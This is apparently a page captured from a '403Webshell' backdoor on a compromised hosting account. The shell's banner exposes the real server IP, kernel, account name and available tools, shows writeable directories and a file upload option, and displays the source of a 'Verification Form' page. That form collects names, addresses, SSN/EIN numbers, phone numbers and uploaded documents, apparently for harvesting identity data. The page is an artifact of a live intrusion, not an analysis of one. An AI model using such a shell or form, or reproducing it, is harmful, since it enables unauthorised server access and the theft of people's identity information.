403Webshell
Server IP : 173.201.180.75  /  Your IP : 18.232.179.37
Web Server : Apache
System : Linux p3plzcpnl459188.prod.phx3.secureserver.net 2.6.32-954.3.5.lve1.4.92.el6.x86_64 #1 SMP Tue Jul 4 15:05:25 UTC 2023 x86_64
User : ryvm0idqv8fv ( 7659266)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ryvm0idqv8fv/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

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Current File : /home/ryvm0idqv8fv/public_html/form.php
<!DOCTYPE html>
<html>
<head>
	<title>Verification Form</title>
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
	<link rel="stylesheet" href="css/style.css"/>
	 <link href="Admin/assets/toastr/toastr.min.css" rel="stylesheet" crossorigin="anonymous" />

</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<center>
<h2>Verification Form</h2>
</center>
</div>
<div class="card-body">



  <form id="Add">

  	<div class="row">
		<div class="col-md-6">
    <div class="form-group">
      <label>Name:</label>
      <input type="text" class="form-control" name="Name" placeholder="Enter Name" required>
    </div>
    <div class="form-group">
      <label>Address:</label>
      <input type="text" class="form-control" name="Address" placeholder="Enter Address" required>
    </div>
    <div class="form-group">
      <label>Legal Business Name:</label>
      <input type="text" class="form-control" name="Business_Name" placeholder="Enter Legal Business Name" required>
    </div>
    <!--<div class="form-group">
      <label>SSN:</label>
      <input type="text" class="form-control" name="SSN" placeholder="Enter SSN" required>
    </div>-->
    </div>

    <div class="col-md-6">	 
    	<div class="form-group"> 
    		<label>SSN EIN:</label> 
    		<input type="text" class="form-control" name="EIN" placeholder="Enter SSN EIN" required> </div> 
<div class="form-group"> 
	<label>Mailing Address:</label> 
	<input type="text" class="form-control" name="Mailing_Address" placeholder="Enter Mailing Address" required> </div> 
<div class="form-group"> 
	<label>Primary Phone Number:</label> 
	<input type="text" class="form-control" name="Phn_No" placeholder="Enter Primary Phone Number" required> </div> 
   <!--<div class="form-group"> 
	<label>Annual Sales Last Year:</label> 
	<input type="text" class="form-control" name="Annual_Sales" placeholder="Enter Annual Sales" required> 
	</div>-->
	<div class="form-group"> 
	<label>Document:</label> 
	<input type="file" class="form-control" multiple name="Files[]" required> 
	</div>

</div> 
</div> 
<br><br>
<input type='hidden' name='Hidden_User_Form' value="yes">
<center><input type="submit" class="btn btn-info" value="submit"></center>
</form> 
</div>
</div>
</div>




<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="Admin/assets/toastr/toastr.min.js"></script>
<script>
	 $("body").on("submit","#Add",function(){
        var formData = new FormData($(this)[0]);
        $.ajax({
          url: 'ajax_function.php',
          type: 'POST', 
          data: formData,           
            cache: false,
            contentType: false,
            processData: false,
            success: function (data) {
                var data=data.trim();
				toastr.success('Added Successfully ');
					setTimeout(function(){ location.reload(); }, 1000);
            }
          });
          return false;
      });

</script>
</body>
</html>

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